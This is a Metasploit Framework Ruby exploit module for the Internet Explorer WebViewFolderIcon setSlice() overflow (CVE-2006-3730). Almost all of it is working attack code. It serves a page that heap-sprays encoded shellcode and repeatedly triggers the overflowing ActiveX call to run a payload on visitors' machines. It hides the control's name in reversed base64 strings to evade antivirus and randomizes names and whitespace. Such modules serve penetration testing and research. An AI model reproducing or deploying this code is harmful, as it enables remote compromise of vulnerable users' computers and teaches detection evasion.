132 lines
3.4 KiB
Ruby
132 lines
3.4 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Internet Explorer WebViewFolderIcon setSlice() Overflow',
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'Description' => %q{
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This module exploits a flaw in the WebViewFolderIcon ActiveX control
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included with Windows 2000, Windows XP, and Windows 2003. This flaw was published
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during the Month of Browser Bugs project (MoBB #18).
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'hdm',
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],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2006-3730'],
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[ 'OSVDB', '27110' ],
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[ 'MSB', 'MS06-057'],
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[ 'BID', '19030' ],
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[ 'URL', 'http://browserfun.blogspot.com/2006/07/mobb-18-webviewfoldericon-setslice.html' ]
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],
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'Payload' =>
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{
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'Space' => 1024,
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'BadChars' => "\x00",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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['Windows XP SP0-SP2 / IE 6.0SP1 English', {'Ret' => 0x0c0c0c0c} ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jul 17 2006'))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Encode the shellcode
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shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
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# Get a unicode friendly version of the return address
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addr_word = [target.ret].pack('V').unpack('H*')[0][0,4]
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# Randomize the javascript variable names
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var_buffer = rand_text_alpha(rand(30)+2)
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var_shellcode = rand_text_alpha(rand(30)+2)
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var_unescape = rand_text_alpha(rand(30)+2)
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var_x = rand_text_alpha(rand(30)+2)
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var_i = rand_text_alpha(rand(30)+2)
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var_tic = rand_text_alpha(rand(30)+2)
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var_toc = rand_text_alpha(rand(30)+2)
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# Annoying AVs
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var_aname = "==QMu42bjlkclRGbvZ0dllmViV2Vu42bjlkclRGbvZ0dllmViV2V".reverse.unpack("m*")[0]
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var_ameth = "=U2Ypx2U0V2c".reverse.unpack("m*")[0]
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# Randomize HTML data
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html = rand_text_alpha(rand(30)+2)
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# Build out the message
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content = %Q|
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<html>
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<head>
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<script>
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try {
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var #{var_unescape} = unescape ;
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var #{var_shellcode} = #{var_unescape}( "#{shellcode}" ) ;
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var #{var_buffer} = #{var_unescape}( "%u#{addr_word}" ) ;
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while (#{var_buffer}.length <= 0x100000) #{var_buffer}+=#{var_buffer} ;
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var #{var_x} = new Array() ;
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for ( var #{var_i} =0 ; #{var_i} < 120 ; #{var_i}++ ) {
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#{var_x}[ #{var_i} ] =
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#{var_buffer}.substring( 0 , 0x100000 - #{var_shellcode}.length ) + #{var_shellcode} ;
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}
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for ( var #{var_i} = 0 ; #{var_i} < 1024 ; #{var_i}++) {
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var #{var_tic} = new ActiveXObject( '#{var_aname}' );
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try { #{var_tic}.#{var_ameth}( 0x7ffffffe , 0 , 0 , #{target.ret} ) ; } catch( e ) { }
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var #{var_toc} = new ActiveXObject( '#{var_aname}' );
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}
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} catch( e ) { window.location = 'about:blank' ; }
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</script>
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</head>
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<body>
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#{html}
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</body>
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</html>
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content = Rex::Text.randomize_space(content)
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print_status("Sending #{self.name}")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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